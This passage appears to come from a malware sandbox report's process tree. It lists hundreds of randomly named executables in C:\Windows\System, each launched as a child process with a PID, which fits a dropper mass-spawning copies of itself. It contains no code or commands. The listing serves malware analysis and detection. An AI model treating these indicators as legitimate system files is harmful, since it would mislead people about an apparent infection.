  PID:5884
- C:\Windows\System\ozdSmHv.exe
  C:\Windows\System\ozdSmHv.exe
  2⤵
  PID:6028
- C:\Windows\System\MeXZHtZ.exe
  C:\Windows\System\MeXZHtZ.exe
  2⤵
  PID:4512
- C:\Windows\System\QMniffQ.exe
  C:\Windows\System\QMniffQ.exe
  2⤵
  PID:5020
- C:\Windows\System\OPrjlda.exe
  C:\Windows\System\OPrjlda.exe
  2⤵
  PID:6020
- C:\Windows\System\DybutpD.exe
  C:\Windows\System\DybutpD.exe
  2⤵
  PID:5544
- C:\Windows\System\UKezkap.exe
  C:\Windows\System\UKezkap.exe
  2⤵
  PID:5664
- C:\Windows\System\tTVEfPF.exe
  C:\Windows\System\tTVEfPF.exe
  2⤵
  PID:5848
- C:\Windows\System\MmeJFAV.exe
  C:\Windows\System\MmeJFAV.exe
  2⤵
  PID:5812
- C:\Windows\System\WHCeCMi.exe
  C:\Windows\System\WHCeCMi.exe
  2⤵
  PID:5408
- C:\Windows\System\mDzlhzu.exe
  C:\Windows\System\mDzlhzu.exe
  2⤵
  PID:4436
- C:\Windows\System\sxNTyHz.exe
  C:\Windows\System\sxNTyHz.exe
  2⤵
  PID:5220
- C:\Windows\System\WkcUMrf.exe
  C:\Windows\System\WkcUMrf.exe
  2⤵
  PID:6140
- C:\Windows\System\tXnoigm.exe
  C:\Windows\System\tXnoigm.exe
  2⤵
  PID:5952
- C:\Windows\System\UrtEkEa.exe
  C:\Windows\System\UrtEkEa.exe
  2⤵
  PID:5728
- C:\Windows\System\KnBxQSW.exe
  C:\Windows\System\KnBxQSW.exe
  2⤵
  PID:5456
- C:\Windows\System\nKEfvUL.exe
  C:\Windows\System\nKEfvUL.exe
  2⤵
  PID:5744
- C:\Windows\System\lHeyHtq.exe
  C:\Windows\System\lHeyHtq.exe
  2⤵
  PID:6156
- C:\Windows\System\lcGKtGD.exe
  C:\Windows\System\lcGKtGD.exe
  2⤵
  PID:6172
- C:\Windows\System\SAYVAZn.exe
  C:\Windows\System\SAYVAZn.exe
  2⤵
  PID:6188
- C:\Windows\System\cSrubDb.exe
  C:\Windows\System\cSrubDb.exe
  2⤵
  PID:6208
- C:\Windows\System\asTjybO.exe
  C:\Windows\System\asTjybO.exe
  2⤵
  PID:6236
- C:\Windows\System\YlFSArK.exe
  C:\Windows\System\YlFSArK.exe
  2⤵
  PID:6256
- C:\Windows\System\eDWnxdd.exe
  C:\Windows\System\eDWnxdd.exe
  2⤵
  PID:6272
- C:\Windows\System\oMWeOjV.exe
  C:\Windows\System\oMWeOjV.exe
  2⤵
  PID:6288
- C:\Windows\System\DywZLLJ.exe
  C:\Windows\System\DywZLLJ.exe
  2⤵
  PID:6304
- C:\Windows\System\coLjHVn.exe
  C:\Windows\System\coLjHVn.exe
  2⤵
  PID:6320
- C:\Windows\System\blhfuHT.exe
  C:\Windows\System\blhfuHT.exe
  2⤵
  PID:6336
- C:\Windows\System\CfQNNeZ.exe
  C:\Windows\System\CfQNNeZ.exe
  2⤵
  PID:6352
- C:\Windows\System\aunXJyJ.exe
  C:\Windows\System\aunXJyJ.exe
  2⤵
  PID:6368
- C:\Windows\System\qreoXXS.exe
  C:\Windows\System\qreoXXS.exe
  2⤵
  PID:6384
- C:\Windows\System\ZBoNwnn.exe
  C:\Windows\System\ZBoNwnn.exe
  2⤵
  PID:6400
- C:\Windows\System\gHBoyzm.exe
  C:\Windows\System\gHBoyzm.exe
  2⤵
  PID:6416
- C:\Windows\System\KWwIMCw.exe
  C:\Windows\System\KWwIMCw.exe
  2⤵
  PID:6432
- C:\Windows\System\BxNgSVM.exe
  C:\Windows\System\BxNgSVM.exe
  2⤵
  PID:6448
- C:\Windows\System\EfPOqxv.exe
  C:\Windows\System\EfPOqxv.exe
  2⤵
  PID:6464
- C:\Windows\System\tDPKPrd.exe
  C:\Windows\System\tDPKPrd.exe
  2⤵
  PID:6480
- C:\Windows\System\kKANtie.exe
  C:\Windows\System\kKANtie.exe
  2⤵
  PID:6496
- C:\Windows\System\Pddxism.exe
  C:\Windows\System\Pddxism.exe
  2⤵
  PID:6704
- C:\Windows\System\qmkjLgU.exe
  C:\Windows\System\qmkjLgU.exe
  2⤵
  PID:6720
- C:\Windows\System\BGBtZbc.exe
  C:\Windows\System\BGBtZbc.exe
  2⤵
  PID:6744
- C:\Windows\System\hbmLinT.exe
  C:\Windows\System\hbmLinT.exe
  2⤵
  PID:6760
- C:\Windows\System\lsIzKct.exe
  C:\Windows\System\lsIzKct.exe
  2⤵
  PID:6776
- C:\Windows\System\endMEfL.exe
  C:\Windows\System\endMEfL.exe
  2⤵
  PID:6796
- C:\Windows\System\WveKzFP.exe
  C:\Windows\System\WveKzFP.exe
  2⤵
  PID:6812
- C:\Windows\System\wvjEjZh.exe
  C:\Windows\System\wvjEjZh.exe
  2⤵
  PID:6832
- C:\Windows\System\kQdZIpS.exe
  C:\Windows\System\kQdZIpS.exe
  2⤵
  PID:6848
- C:\Windows\System\SDZrdgk.exe
  C:\Windows\System\SDZrdgk.exe
  2⤵
  PID:6868
- C:\Windows\System\rnrxeOr.exe
  C:\Windows\System\rnrxeOr.exe
  2⤵
  PID:6884
- C:\Windows\System\hPwxPdd.exe
  C:\Windows\System\hPwxPdd.exe
  2⤵
  PID:6900
- C:\Windows\System\WlAVZIU.exe
  C:\Windows\System\WlAVZIU.exe
  2⤵
  PID:6920
- C:\Windows\System\WnAmHjj.exe
  C:\Windows\System\WnAmHjj.exe
  2⤵
  PID:6936
- C:\Windows\System\MxyPXns.exe
  C:\Windows\System\MxyPXns.exe
  2⤵
  PID:6952
- C:\Windows\System\WPWqhut.exe
  C:\Windows\System\WPWqhut.exe
  2⤵
  PID:6968
- C:\Windows\System\nbpewba.exe
  C:\Windows\System\nbpewba.exe
  2⤵
  PID:6992
- C:\Windows\System\zeDhGgI.exe
  C:\Windows\System\zeDhGgI.exe
  2⤵
  PID:7008
- C:\Windows\System\FRlyaFC.exe
  C:\Windows\System\FRlyaFC.exe
  2⤵
  PID:7024
- C:\Windows\System\uMiydWu.exe
  C:\Windows\System\uMiydWu.exe
  2⤵
  PID:7040
- C:\Windows\System\RsWGXZr.exe
  C:\Windows\System\RsWGXZr.exe
  2⤵
  PID:7060
- C:\Windows\System\PzOkJzm.exe
  C:\Windows\System\PzOkJzm.exe
  2⤵
  PID:7076
- C:\Windows\System\ekuwjRM.exe
  C:\Windows\System\ekuwjRM.exe
  2⤵
  PID:7092
- C:\Windows\System\oUPxaMC.exe
  C:\Windows\System\oUPxaMC.exe
  2⤵
  PID:7108
- C:\Windows\System\yRfQLgm.exe
  C:\Windows\System\yRfQLgm.exe
  2⤵
  PID:7124
- C:\Windows\System\dlBzJRh.exe
  C:\Windows\System\dlBzJRh.exe
  2⤵
  PID:7140
- C:\Windows\System\LpGgZOU.exe
  C:\Windows\System\LpGgZOU.exe
  2⤵
  PID:7156
- C:\Windows\System\pVXdfkW.exe
  C:\Windows\System\pVXdfkW.exe
  2⤵
  PID:5636
- C:\Windows\System\wOAIIeg.exe
  C:\Windows\System\wOAIIeg.exe
  2⤵
  PID:6128
- C:\Windows\System\PhpQkhI.exe
  C:\Windows\System\PhpQkhI.exe
  2⤵
  PID:5740
- C:\Windows\System\RAAoAgL.exe
  C:\Windows\System\RAAoAgL.exe
  2⤵
  PID:6204
- C:\Windows\System\FhLeEwv.exe
  C:\Windows\System\FhLeEwv.exe
  2⤵
  PID:5412
- C:\Windows\System\SHzUXXO.exe
  C:\Windows\System\SHzUXXO.exe
  2⤵
  PID:6344
- C:\Windows\System\KjKfIdS.exe
  C:\Windows\System\KjKfIdS.exe
  2⤵
  PID:6264
- C:\Windows\System\ZuTmdga.exe
  C:\Windows\System\ZuTmdga.exe
  2⤵
  PID:6412
- C:\Windows\System\yzTWqAe.exe
  C:\Windows\System\yzTWqAe.exe
  2⤵
  PID:6392
- C:\Windows\System\vMPXXTj.exe
  C:\Windows\System\vMPXXTj.exe
  2⤵
  PID:6472
- C:\Windows\System\HfmZtIU.exe
  C:\Windows\System\HfmZtIU.exe
  2⤵
  PID:6504
- C:\Windows\System\sRMdntt.exe
  C:\Windows\System\sRMdntt.exe
  2⤵
  PID:6492
- C:\Windows\System\isDvslg.exe
  C:\Windows\System\isDvslg.exe
  2⤵
  PID:6520
- C:\Windows\System\JEZCFjP.exe
  C:\Windows\System\JEZCFjP.exe
  2⤵
  PID:6536
- C:\Windows\System\UnqUyxt.exe
  C:\Windows\System\UnqUyxt.exe
  2⤵
  PID:6548
- C:\Windows\System\dNPWHeh.exe
  C:\Windows\System\dNPWHeh.exe
  2⤵
  PID:6568
- C:\Windows\System\JptcHpD.exe
  C:\Windows\System\JptcHpD.exe
  2⤵
  PID:6584
- C:\Windows\System\bPdzOVF.exe
  C:\Windows\System\bPdzOVF.exe
  2⤵
  PID:6600
- C:\Windows\System\uzkDfAx.exe
  C:\Windows\System\uzkDfAx.exe
  2⤵
  PID:6616
- C:\Windows\System\ZfZVzYZ.exe
  C:\Windows\System\ZfZVzYZ.exe
  2⤵
  PID:6636
- C:\Windows\System\MnepyYp.exe
  C:\Windows\System\MnepyYp.exe
  2⤵
  PID:6648
- C:\Windows\System\KddEbJv.exe
  C:\Windows\System\KddEbJv.exe
  2⤵
  PID:6668
- C:\Windows\System\pZwNlew.exe
  C:\Windows\System\pZwNlew.exe
  2⤵
  PID:6684
- C:\Windows\System\jrovIvE.exe
  C:\Windows\System\jrovIvE.exe
  2⤵
  PID:6692
- C:\Windows\System\eILEbjg.exe
  C:\Windows\System\eILEbjg.exe
  2⤵
  PID:6740
- C:\Windows\System\UBRsigM.exe
  C:\Windows\System\UBRsigM.exe
  2⤵
  PID:6808
- C:\Windows\System\HQCMFRx.exe
  C:\Windows\System\HQCMFRx.exe
  2⤵
  PID:6880
- C:\Windows\System\xbnDslv.exe
  C:\Windows\System\xbnDslv.exe
  2⤵
  PID:6756
- C:\Windows\System\YJQZJHp.exe
  C:\Windows\System\YJQZJHp.exe
  2⤵
  PID:6828
- C:\Windows\System\BsinakA.exe
  C:\Windows\System\BsinakA.exe
  2⤵
  PID:6988
- C:\Windows\System\MIRKIhc.exe
  C:\Windows\System\MIRKIhc.exe
  2⤵
  PID:7052
- C:\Windows\System\iQPjcVt.exe
  C:\Windows\System\iQPjcVt.exe
  2⤵
  PID:6752
- C:\Windows\System\JrDzJUS.exe
  C:\Windows\System\JrDzJUS.exe
  2⤵
  PID:7004
- C:\Windows\System\lufEEvz.exe
  C:\Windows\System\lufEEvz.exe
  2⤵
  PID:6896
- C:\Windows\System\kfWHiGE.exe
  C:\Windows\System\kfWHiGE.exe
  2⤵
  PID:6788
- C:\Windows\System\hmDpwkf.exe
  C:\Windows\System\hmDpwkf.exe
  2⤵
  PID:6820
- C:\Windows\System\UKVEbPH.exe
  C:\Windows\System\UKVEbPH.exe
  2⤵
  PID:7100
- C:\Windows\System\cHzWQxl.exe
  C:\Windows\System\cHzWQxl.exe
  2⤵
  PID:6200
- C:\Windows\System\mmaLczj.exe
  C:\Windows\System\mmaLczj.exe
  2⤵
  PID:5784
- C:\Windows\System\IlvJIHr.exe
  C:\Windows\System\IlvJIHr.exe
  2⤵
  PID:1420
- C:\Windows\System\mldYkZf.exe
  C:\Windows\System\mldYkZf.exe
  2⤵
  PID:6244
- C:\Windows\System\fnXkjAn.exe
  C:\Windows\System\fnXkjAn.exe
  2⤵
  PID:5548
- C:\Windows\System\GZBqTyM.exe
  C:\Windows\System\GZBqTyM.exe
  2⤵
  PID:5304
- C:\Windows\System\QPGvQLf.exe
  C:\Windows\System\QPGvQLf.exe
  2⤵
  PID:6152
- C:\Windows\System\RCigeQn.exe
  C:\Windows\System\RCigeQn.exe
  2⤵
  PID:6284
- C:\Windows\System\qOsIYng.exe
  C:\Windows\System\qOsIYng.exe
  2⤵
  PID:6296
- C:\Windows\System\QzpUVuU.exe
  C:\Windows\System\QzpUVuU.exe
  2⤵
  PID:6332
- C:\Windows\System\YPoBjvU.exe
  C:\Windows\System\YPoBjvU.exe
  2⤵
  PID:6528
- C:\Windows\System\zhdrrKN.exe
  C:\Windows\System\zhdrrKN.exe
  2⤵
  PID:6300
- C:\Windows\System\huYviQi.exe
  C:\Windows\System\huYviQi.exe
  2⤵
  PID:6592
- C:\Windows\System\UFQcBxH.exe
  C:\Windows\System\UFQcBxH.exe
  2⤵
  PID:6624
- C:\Windows\System\OwvoJGS.exe
  C:\Windows\System\OwvoJGS.exe
  2⤵
  PID:6628
- C:\Windows\System\aAmUUGy.exe
  C:\Windows\System\aAmUUGy.exe
  2⤵
  PID:6664
- C:\Windows\System\AraAQJJ.exe
  C:\Windows\System\AraAQJJ.exe
  2⤵
  PID:6580
- C:\Windows\System\xTinuSp.exe
  C:\Windows\System\xTinuSp.exe
  2⤵
  PID:6804
- C:\Windows\System\eyMjjGj.exe
  C:\Windows\System\eyMjjGj.exe
  2⤵
  PID:6984
- C:\Windows\System\OUgvLIu.exe
  C:\Windows\System\OUgvLIu.exe
  2⤵
  PID:7036
- C:\Windows\System\QoNqdzd.exe
  C:\Windows\System\QoNqdzd.exe
  2⤵
  PID:7148
- C:\Windows\System\nilWyqQ.exe
  C:\Windows\System\nilWyqQ.exe
  2⤵
  PID:7164
- C:\Windows\System\LPmeqEp.exe
  C:\Windows\System\LPmeqEp.exe
  2⤵
  PID:5912
- C:\Windows\System\GMWhGnF.exe
  C:\Windows\System\GMWhGnF.exe
  2⤵
  PID:6680
- C:\Windows\System\yjWFszR.exe
  C:\Windows\System\yjWFszR.exe
  2⤵
  PID:6376
- C:\Windows\System\lxtmHGC.exe
  C:\Windows\System\lxtmHGC.exe
  2⤵
  PID:6644
- C:\Windows\System\RGwgfKR.exe
  C:\Windows\System\RGwgfKR.exe
  2⤵
  PID:6728
- C:\Windows\System\rOXcgma.exe
  C:\Windows\System\rOXcgma.exe
  2⤵
  PID:6948
- C:\Windows\System\DQcZKdf.exe
  C:\Windows\System\DQcZKdf.exe
  2⤵
  PID:7088
- C:\Windows\System\kEocbGD.exe
  C:\Windows\System\kEocbGD.exe
  2⤵
  PID:7072
- C:\Windows\System\GJENXso.exe
  C:\Windows\System\GJENXso.exe
  2⤵
  PID:6196
- C:\Windows\System\LcMYVFW.exe
  C:\Windows\System\LcMYVFW.exe
  2⤵
  PID:6216
- C:\Windows\System\hgClBon.exe
  C:\Windows\System\hgClBon.exe
  2⤵
  PID:6360
- C:\Windows\System\FPxasob.exe
  C:\Windows\System\FPxasob.exe
  2⤵
  PID:6688
- C:\Windows\System\qPhJefe.exe
  C:\Windows\System\qPhJefe.exe
  2⤵
  PID:5832
- C:\Windows\System\wLitmtz.exe
  C:\Windows\System\wLitmtz.exe
  2⤵
  PID:6040
- C:\Windows\System\HOyTXOu.exe
  C:\Windows\System\HOyTXOu.exe
  2⤵
  PID:7020
- C:\Windows\System\GOUgphR.exe
  C:\Windows\System\GOUgphR.exe
  2⤵
  PID:6444
- C:\Windows\System\wpuPoDv.exe
  C:\Windows\System\wpuPoDv.exe
  2⤵
  PID:6608
- C:\Windows\System\HQVgAlN.exe
  C:\Windows\System\HQVgAlN.exe
  2⤵
  PID:6916
- C:\Windows\System\Ljfzznx.exe
  C:\Windows\System\Ljfzznx.exe
  2⤵
  PID:6736
- C:\Windows\System\DhxnneB.exe
  C:\Windows\System\DhxnneB.exe
  2⤵
  PID:7068
- C:\Windows\System\iKzolUR.exe
  C:\Windows\System\iKzolUR.exe
  2⤵
  PID:6596
- C:\Windows\System\SnXWvHd.exe
  C:\Windows\System\SnXWvHd.exe
  2⤵
  PID:6772
- C:\Windows\System\mkYVMqq.exe
  C:\Windows\System\mkYVMqq.exe
  2⤵
  PID:7136
- C:\Windows\System\OAosUaF.exe
  C:\Windows\System\OAosUaF.exe
  2⤵
  PID:5704
- C:\Windows\System\zLlEMSk.exe
  C:\Windows\System\zLlEMSk.exe
  2⤵
  PID:7172
- C:\Windows\System\lKelnwU.exe
  C:\Windows\System\lKelnwU.exe
  2⤵
  PID:7188
- C:\Windows\System\ChYGisc.exe
  C:\Windows\System\ChYGisc.exe
  2⤵
  PID:7204
- C:\Windows\System\TVxjJUQ.exe
  C:\Windows\System\TVxjJUQ.exe
  2⤵
  PID:7220
- C:\Windows\System\mmzycHa.exe
  C:\Windows\System\mmzycHa.exe
  2⤵
  PID:7240
- C:\Windows\System\TCNAbLk.exe
  C:\Windows\System\TCNAbLk.exe
  2⤵
  PID:7256
- C:\Windows\System\RXMzGOv.exe
  C:\Windows\System\RXMzGOv.exe
  2⤵
  PID:7272
- C:\Windows\System\HZMHrFK.exe
  C:\Windows\System\HZMHrFK.exe
  2⤵
  PID:7288
- C:\Windows\System\ttgJXoe.exe
  C:\Windows\System\ttgJXoe.exe
  2⤵
  PID:7304
- C:\Windows\System\aBhFCbK.exe
  C:\Windows\System\aBhFCbK.exe
  2⤵
  PID:7324
- C:\Windows\System\hLcmpaf.exe
  C:\Windows\System\hLcmpaf.exe
  2⤵
  PID:7340
- C:\Windows\System\NetLnIN.exe
  C:\Windows\System\NetLnIN.exe
  2⤵
  PID:7356
- C:\Windows\System\spvrXbp.exe
  C:\Windows\System\spvrXbp.exe
  2⤵
  PID:7372
- C:\Windows\System\fgFnRzM.exe
  C:\Windows\System\fgFnRzM.exe
  2⤵
  PID:7392
- C:\Windows\System\EMvurtc.exe
  C:\Windows\System\EMvurtc.exe
  2⤵
  PID:7408
- C:\Windows\System\YINCznV.exe
  C:\Windows\System\YINCznV.exe
  2⤵
  PID:7424
- C:\Windows\System\mxmYAnF.exe
  C:\Windows\System\mxmYAnF.exe
  2⤵
  PID:7528
- C:\Windows\System\cEatfQn.exe
  C:\Windows\System\cEatfQn.exe
  2⤵
  PID:7552
- C:\Windows\System\WDEDKLk.exe
  C:\Windows\System\WDEDKLk.exe
  2⤵
  PID:7572
- C:\Windows\System\vueGEib.exe
  C:\Windows\System\vueGEib.exe
  2⤵
  PID:7588
- C:\Windows\System\DpReMGg.exe
  C:\Windows\System\DpReMGg.exe
  2⤵
  PID:7604
- C:\Windows\System\YWgCCsU.exe
  C:\Windows\System\YWgCCsU.exe
  2⤵
  PID:7620
- C:\Windows\System\WwLsWDg.exe
  C:\Windows\System\WwLsWDg.exe
  2⤵
  PID:7636
- C:\Windows\System\lNJLAIb.exe
  C:\Windows\System\lNJLAIb.exe
  2⤵
  PID:7652
- C:\Windows\System\iSCYKqk.exe
  C:\Windows\System\iSCYKqk.exe
  2⤵
  PID:7668
- C:\Windows\System\BeWGLuX.exe
  C:\Windows\System\BeWGLuX.exe
  2⤵
  PID:7684
- C:\Windows\System\RMJHjtK.exe
  C:\Windows\System\RMJHjtK.exe
  2⤵
  PID:7700
- C:\Windows\System\UnnVoSk.exe
  C:\Windows\System\UnnVoSk.exe
  2⤵
  PID:7724
- C:\Windows\System\JEWzWWk.exe
  C:\Windows\System\JEWzWWk.exe
  2⤵
  PID:7744
- C:\Windows\System\jygBXUt.exe
  C:\Windows\System\jygBXUt.exe
  2⤵
  PID:7764
- C:\Windows\System\LTySFDq.exe
  C:\Windows\System\LTySFDq.exe
  2⤵
  PID:7784
- C:\Windows\System\VBYbsDZ.exe
  C:\Windows\System\VBYbsDZ.exe
  2⤵
  PID:7852
- C:\Windows\System\FmuxHHC.exe
  C:\Windows\System\FmuxHHC.exe
  2⤵
  PID:7868
- C:\Windows\System\lKObwWe.exe
  C:\Windows\System\lKObwWe.exe
  2⤵
  PID:7884
- C:\Windows\System\HKvaSoU.exe
  C:\Windows\System\HKvaSoU.exe
  2⤵
  PID:7900
- C:\Windows\System\BnMGNlr.exe
  C:\Windows\System\BnMGNlr.exe
  2⤵
  PID:7916
- C:\Windows\System\mAnBOVS.exe
  C:\Windows\System\mAnBOVS.exe
  2⤵
  PID:7932
- C:\Windows\System\gvRRskS.exe
  C:\Windows\System\gvRRskS.exe
  2⤵
  PID:7948
- C:\Windows\System\ygssUlN.exe
  C:\Windows\System\ygssUlN.exe
  2⤵
  PID:7964
- C:\Windows\System\njymkMA.exe
  C:\Windows\System\njymkMA.exe
  2⤵
  PID:7980
- C:\Windows\System\DZZxcQa.exe
  C:\Windows\System\DZZxcQa.exe
  2⤵
  PID:7996
- C:\Windows\System\bNuCFBO.exe
  C:\Windows\System\bNuCFBO.exe
  2⤵
  PID:8012
- C:\Windows\System\GMQrlkw.exe
  C:\Windows\System\GMQrlkw.exe
  2⤵
  PID:8028
- C:\Windows\System\ihBJkvv.exe
  C:\Windows\System\ihBJkvv.exe
  2⤵
  PID:8044
- C:\Windows\System\XxSSnqR.exe
  C:\Windows\System\XxSSnqR.exe
  2⤵
  PID:8060
- C:\Windows\System\ERWHQmT.exe
  C:\Windows\System\ERWHQmT.exe
  2⤵
  PID:8076
- C:\Windows\System\ajasaUH.exe
  C:\Windows\System\ajasaUH.exe
  2⤵
  PID:8092
- C:\Windows\System\yfwaXCd.exe
  C:\Windows\System\yfwaXCd.exe
  2⤵
  PID:8108
- C:\Windows\System\Fdmyxlr.exe
  C:\Windows\System\Fdmyxlr.exe
  2⤵
  PID:8124
- C:\Windows\System\coaoMZn.exe
  C:\Windows\System\coaoMZn.exe
  2⤵
  PID:8140
- C:\Windows\System\CwsiWjY.exe
  C:\Windows\System\CwsiWjY.exe
  2⤵
  PID:8156
- C:\Windows\System\RGzSwQq.exe
  C:\Windows\System\RGzSwQq.exe
  2⤵
  PID:8172
- C:\Windows\System\OWrRpCd.exe
  C:\Windows\System\OWrRpCd.exe
  2⤵
  PID:8188
- C:\Windows\System\TeDFeuM.exe
  C:\Windows\System\TeDFeuM.exe
  2⤵
  PID:6676
- C:\Windows\System\PxLmZds.exe
  C:\Windows\System\PxLmZds.exe
  2⤵
  PID:7268
- C:\Windows\System\ZaSiWFb.exe
  C:\Windows\System\ZaSiWFb.exe
  2⤵
  PID:7296
- C:\Windows\System\uACouyv.exe
  C:\Windows\System\uACouyv.exe
  2⤵
  PID:7236
- C:\Windows\System\HEifOVx.exe
  C:\Windows\System\HEifOVx.exe
  2⤵
  PID:6860
- C:\Windows\System\POQNnYn.exe
  C:\Windows\System\POQNnYn.exe
  2⤵
  PID:7364
- C:\Windows\System\UnHaccJ.exe
  C:\Windows\System\UnHaccJ.exe
  2⤵
  PID:7404
- C:\Windows\System\WETrZNM.exe
  C:\Windows\System\WETrZNM.exe
  2⤵
  PID:7284
- C:\Windows\System\ocsoKKo.exe
  C:\Windows\System\ocsoKKo.exe
  2⤵
  PID:7352
- C:\Windows\System\YuDazfB.exe
  C:\Windows\System\YuDazfB.exe
  2⤵
  PID:7384
- C:\Windows\System\uSQDiXl.exe
  C:\Windows\System\uSQDiXl.exe
  2⤵
  PID:7252
- C:\Windows\System\LbDTUxQ.exe
  C:\Windows\System\LbDTUxQ.exe
  2⤵
  PID:7416
- C:\Windows\System\vHbEuXM.exe
  C:\Windows\System\vHbEuXM.exe
  2⤵
  PID:7448
- C:\Windows\System\gPmgMfC.exe
  C:\Windows\System\gPmgMfC.exe
  2⤵
  PID:7460
- C:\Windows\System\dlsqYEY.exe
  C:\Windows\System\dlsqYEY.exe
  2⤵
  PID:7476
- C:\Windows\System\AvWDxOm.exe
  C:\Windows\System\AvWDxOm.exe
  2⤵
  PID:7564
- C:\Windows\System\GbVnaRc.exe
  C:\Windows\System\GbVnaRc.exe
  2⤵
  PID:7628
- C:\Windows\System\RzcsUcQ.exe
  C:\Windows\System\RzcsUcQ.exe
  2⤵
  PID:7664
- C:\Windows\System\HaaAqhl.exe
  C:\Windows\System\HaaAqhl.exe
  2⤵
  PID:7736
- C:\Windows\System\vXVMVNF.exe
  C:\Windows\System\vXVMVNF.exe
  2⤵
  PID:7536
- C:\Windows\System\frPwFLD.exe
  C:\Windows\System\frPwFLD.exe
  2⤵
  PID:7580
- C:\Windows\System\eqGyUxX.exe
  C:\Windows\System\eqGyUxX.exe
  2⤵
  PID:7712
- C:\Windows\System\EHksBcK.exe
  C:\Windows\System\EHksBcK.exe
  2⤵
  PID:7756
- C:\Windows\System\FZHWMDF.exe
  C:\Windows\System\FZHWMDF.exe
  2⤵
  PID:7796
- C:\Windows\System\qjpmBrL.exe
  C:\Windows\System\qjpmBrL.exe
  2⤵
  PID:7644
- C:\Windows\System\vbOCIVE.exe
  C:\Windows\System\vbOCIVE.exe
  2⤵
  PID:7820
- C:\Windows\System\DSVPevs.exe
  C:\Windows\System\DSVPevs.exe
  2⤵
  PID:7832
- C:\Windows\System\GqbjkCH.exe
  C:\Windows\System\GqbjkCH.exe
  2⤵
  PID:7844
- C:\Windows\System\LnUsAEx.exe
  C:\Windows\System\LnUsAEx.exe
  2⤵
  PID:7892
- C:\Windows\System\OurxfvM.exe
  C:\Windows\System\OurxfvM.exe
  2⤵
  PID:7912
- C:\Windows\System\jMRKkzD.exe
  C:\Windows\System\jMRKkzD.exe
  2⤵
  PID:7880
- C:\Windows\System\tqbCmHM.exe
  C:\Windows\System\tqbCmHM.exe
  2⤵
  PID:7972
- C:\Windows\System\wjUzEUW.exe
  C:\Windows\System\wjUzEUW.exe
  2⤵
  PID:8020
- C:\Windows\System\AxQSTFT.exe
  C:\Windows\System\AxQSTFT.exe
  2⤵
  PID:8056
- C:\Windows\System\bZRCGmd.exe
  C:\Windows\System\bZRCGmd.exe
  2⤵
  PID:8084
- C:\Windows\System\rZgOfau.exe
  C:\Windows\System\rZgOfau.exe
  2⤵
  PID:8100
- C:\Windows\System\Vuqepze.exe
  C:\Windows\System\Vuqepze.exe
  2⤵
  PID:8132
- C:\Windows\System\SwhfplB.exe
  C:\Windows\System\SwhfplB.exe
  2⤵
  PID:8180
- C:\Windows\System\aHMzSiA.exe
  C:\Windows\System\aHMzSiA.exe
  2⤵
  PID:6512
- C:\Windows\System\lGxzWBq.exe
  C:\Windows\System\lGxzWBq.exe
  2⤵
  PID:7228
- C:\Windows\System\JzWAmPm.exe
  C:\Windows\System\JzWAmPm.exe
  2⤵
  PID:7300
- C:\Windows\System\olAseFF.exe
  C:\Windows\System\olAseFF.exe
  2⤵
  PID:7212
- C:\Windows\System\XVRJSra.exe
  C:\Windows\System\XVRJSra.exe
  2⤵
  PID:7348
- C:\Windows\System\VfIKVRq.exe
  C:\Windows\System\VfIKVRq.exe
  2⤵
  PID:7316
- C:\Windows\System\xRjsKVI.exe
  C:\Windows\System\xRjsKVI.exe
  2⤵
  PID:7444
- C:\Windows\System\nkOQxJp.exe
  C:\Windows\System\nkOQxJp.exe
  2⤵
  PID:7560
- C:\Windows\System\nzxEAlu.exe
  C:\Windows\System\nzxEAlu.exe
  2⤵
  PID:6456
- C:\Windows\System\yDqVasT.exe
  C:\Windows\System\yDqVasT.exe
  2⤵
  PID:7772
- C:\Windows\System\vFJrKED.exe
  C:\Windows\System\vFJrKED.exe
  2⤵
  PID:7732
- C:\Windows\System\QywkluE.exe
  C:\Windows\System\QywkluE.exe
  2⤵
  PID:7792
- C:\Windows\System\jlCostP.exe
  C:\Windows\System\jlCostP.exe
  2⤵
  PID:7752
- C:\Windows\System\bSTnGek.exe
  C:\Windows\System\bSTnGek.exe
  2⤵
  PID:7840
- C:\Windows\System\sfeWQGZ.exe
  C:\Windows\System\sfeWQGZ.exe
  2⤵
  PID:7924
- C:\Windows\System\RZFAWSI.exe
  C:\Windows\System\RZFAWSI.exe
  2⤵
  PID:7908
- C:\Windows\System\dkWAcKZ.exe
  C:\Windows\System\dkWAcKZ.exe
  2⤵
  PID:8004
- C:\Windows\System\wJgONsU.exe
  C:\Windows\System\wJgONsU.exe
  2⤵
  PID:8152
- C:\Windows\System\dIELQmw.exe
  C:\Windows\System\dIELQmw.exe
  2⤵
  PID:6660
- C:\Windows\System\NyIRQSr.exe
  C:\Windows\System\NyIRQSr.exe
  2⤵
  PID:7420
- C:\Windows\System\DgMukyp.exe
  C:\Windows\System\DgMukyp.exe
  2⤵
  PID:8104
- C:\Windows\System\JAuPTfC.exe
  C:\Windows\System\JAuPTfC.exe
  2⤵
  PID:7200
- C:\Windows\System\pVEWstq.exe
  C:\Windows\System\pVEWstq.exe
  2⤵
  PID:8072
- C:\Windows\System\pfpzgjj.exe
  C:\Windows\System\pfpzgjj.exe
  2⤵
  PID:7780
- C:\Windows\System\woPxIyQ.exe
  C:\Windows\System\woPxIyQ.exe
  2⤵
  PID:7548
- C:\Windows\System\SdSIurq.exe
  C:\Windows\System\SdSIurq.exe
  2⤵
  PID:7720
- C:\Windows\System\Agzhhxa.exe
  C:\Windows\System\Agzhhxa.exe
  2⤵
  PID:7956
- C:\Windows\System\vBDPUqp.exe
  C:\Windows\System\vBDPUqp.exe
  2⤵
  PID:7960
- C:\Windows\System\grNGFkV.exe
  C:\Windows\System\grNGFkV.exe
  2⤵
  PID:7480
- C:\Windows\System\xiSlvPi.exe
  C:\Windows\System\xiSlvPi.exe
  2⤵
  PID:7440
- C:\Windows\System\vZxghUH.exe
  C:\Windows\System\vZxghUH.exe
  2⤵
  PID:7836
- C:\Windows\System\ZEjeQKf.exe
  C:\Windows\System\ZEjeQKf.exe
  2⤵
  PID:7680
- C:\Windows\System\TPDuMfi.exe
  C:\Windows\System\TPDuMfi.exe
  2⤵
  PID:8148
- C:\Windows\System\uzbwqZt.exe
  C:\Windows\System\uzbwqZt.exe
  2⤵
  PID:7232
- C:\Windows\System\ZPXLpRb.exe
  C:\Windows\System\ZPXLpRb.exe
  2⤵
  PID:6932
- C:\Windows\System\VZbNAfc.exe
  C:\Windows\System\VZbNAfc.exe
  2⤵
  PID:7804
- C:\Windows\System\hFdjmvL.exe
  C:\Windows\System\hFdjmvL.exe
  2⤵
  PID:8208
- C:\Windows\System\QWpnEeA.exe
  C:\Windows\System\QWpnEeA.exe
  2⤵
  PID:8224
